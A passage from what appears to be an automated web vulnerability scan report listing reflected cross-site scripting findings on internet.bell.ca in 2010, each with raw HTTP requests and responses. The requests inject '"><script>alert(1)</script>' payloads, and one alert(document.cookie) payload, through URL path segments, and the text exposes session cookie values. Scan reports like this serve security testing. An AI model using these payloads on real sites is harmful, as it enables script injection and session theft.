__utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:28:54 GMT
Connection: close
Set-Cookie: SMSESSION=VL6IBgYXAkCa0uLt91kkuHlL2H05uEBKJVZjJ114ARzshrgxorLQt5AcivpnQ255p5e48HEIs1MBs8cc4qbSr+QrD3IwOgTvZxtBvXpMNrLPM97yH3PfA6CvacaiezGx0yYV9ajuUJtAibAYRPSEey1ODGT5nrYNi3x/Oib6B9T+x7FSa4CR3MJeEh4RMHPI9d9fYnPzlTBf02SZf3rJ8xZAECofYWxQpIxC4rfh1ET3+1ryj7msCDWC27lhQA1i8TUXl1UwH2Ibrx6K1zpR/lVzH9lBv9iIb5UJ8BvAoVHXD2fTzaTCkQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:28:54 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:28:54 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:28:54 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:28:54 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:28:54 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:28:54 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:28:54 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:28:54 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:28:54 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:28:54 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
nput type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/Images/flash/sifr?5e2a5"><script>alert(1)</script>177c3dbcc9b=1" />
...[SNIP]...

2.7. http://internet.bell.ca/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2cc4"><script>alert(1)</script>226270b6d73 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /favicon.icoe2cc4"><script>alert(1)</script>226270b6d73 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: internet.bell.ca
Cookie: SMSESSION=L4IaswCEaMYdQ0CpsuF0YngatQpuambmHZ/3od94xkPqf5KZTJJSo0/oJBRsu1L9dPJUT6fpmc4thi/NY59+JizhsUAdSl87HI5Sxjd2tr5hrjpfrO6nevqgpL4m8lU7hrhG6O/Xm1KNmF0WbME1xVbK2KOZINsjRSi7js7LWx5lBQmYbTXI6bq5nr3KmyCIwE8szDu8RsmUw4xn1EV+qwLShYDMsSjbYe7fqMQWlcaFS/dK6qTBmrmGhg0EypJXk8Pu8oeNMsUp/YK9ZUIl9RgemEJN57SeGdRQgkmCcjSl3Sfyrecduw==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=index%2Ecfm; VOKEN_SEEN=0; CFID=121969960; CFTOKEN=64820647; UUID=78F1F013%2D65B8%2DB18C%2D8DEF421D171C6BC7

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:49:54 GMT
Connection: close
Set-Cookie: SMSESSION=EnviDts6a9U5laaTJ6NEPtdFlKrnUpZnDRci2f42FA76fyW7I2rff8vlAPAiEmQPoMKYhJ8QicsQtOHTPbrBTDt6MS7TJ9Uqm0WINgBAthlGHMN9jSUzM3p1q0j1Jmq8/TDxvxGjuULKOpoJ5LLoeBX6KtbjAZBhQx32ohAqi3NzB5jPDoEvgK12pQS6pZPw+ysu4BZI33XdLnGZXuRgHRdwj4qQthYp8e9buvOHS1nfPiUR9jFwJV39H05zXkw2GcwtPHOd5tgw65w3Kudkc3DLxtqRwdytTRMWn+TUwEe2o9hl5FMzuQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Wed, 24-Nov-2010 13:49:55 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Wed, 24-Nov-2010 13:49:55 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Wed, 24-Nov-2010 13:49:55 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Wed, 24-Nov-2010 13:49:55 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:49:55 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:49:55 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:49:55 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:49:55 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:49:55 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:49:55 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:49:55 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:49:55 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:49:55 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:49:55 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/favicon.icoe2cc4"><script>alert(1)</script>226270b6d73" />
...[SNIP]...

2.8. http://internet.bell.ca/img_gallery/90_en.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /img_gallery/90_en.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa7cc"><script>alert(1)</script>f6e9167ed7c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /img_galleryaa7cc"><script>alert(1)</script>f6e9167ed7c/90_en.gif HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_u=276131723871238_1_0.05_0_5_1290908625687; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; gemini=region=ON|province=ON|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; VOKEN_SEEN=0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; __utmc=250352478; __utmb=250352478.1.10.1290521787

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:23:52 GMT
Connection: close
Set-Cookie: SMSESSION=DQYOf2fFccygzuKsCWHK4bJMmGOU5Qg9Z5DEqQmmwpEpiosa1R0QIhFOdJJE3CqxEJeFW1O7ODbHUVM9xz4i01aBesUzPSg7/Ukq9qAC5Kwnh+ZGmvTeaxoZZZPqbVas/k+M/Zv3ks8vo0XQFiHAM7jqrXXHLo5AbXLo3v7iqDBCJLnmPyyTCXcffrghtoaPNCzkoKtqNfPKw+kaCaGPPZ5A6XR5YlAd/sVXqcISHU7DGtQc7/mk8N72wqJEuQstrI+bJGqoYdMNpL55n5B871nIgpTHrY1rkgv4CyZmGpL5NdzbO6eMaQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:23:52 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:23:52 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:23:52 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:23:52 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:23:52 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:23:52 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:23:52 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:23:52 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:23:52 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:23:52 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_galleryaa7cc"><script>alert(1)</script>f6e9167ed7c/90_en.gif" />
...[SNIP]...

2.9. http://internet.bell.ca/img_gallery/90_en.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /img_gallery/90_en.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12038"><script>alert(1)</script>f24cf9af483 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /img_gallery/90_en.gif12038"><script>alert(1)</script>f24cf9af483 HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_u=276131723871238_1_0.05_0_5_1290908625687; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; gemini=region=ON|province=ON|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; VOKEN_SEEN=0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; __utmc=250352478; __utmb=250352478.1.10.1290521787

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:23:54 GMT
Connection: close
Set-Cookie: SMSESSION=/CGyNmR3UgpYCl7Bp9UvsAlhFASk4/ZHCJE+MCa4Lr8Ua9qry5SDxPoWlPp+xtD0sLm/3t3O10dyfp7FMldD9rJcyKtSIgbi3uIoouq+NCobqBWs7KHPJhqXNtrEIs9MeR5g+HhSw2W86GdFptClWKIYT7ageSw/ZRhq0U1A08IGlSpq/dhIljJAZRuobCRYs7k34KbLErg0UVppMsfUB6MG72iAWlftiNE2czPpR+b+iiX00LykbDbvLqVCGANnzqyfxX/d+jX/J/aUzaOha4QccT6v/UmPqtSIX6VTAZofFFxV/7C4cQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:23:54 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:23:54 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:23:54 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:23:54 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:23:54 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:23:54 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:23:54 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:23:54 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:23:54 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:23:54 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
t type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_gallery/90_en.gif12038"><script>alert(1)</script>f24cf9af483" />
...[SNIP]...

2.10. http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfm [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfm

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9294"><script>alert(1)</script>8170003c27d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfmd9294"><script>alert(1)</script>8170003c27d?method=sso.init&content=minidashboard HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/90_en.gif
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: internet.bell.ca
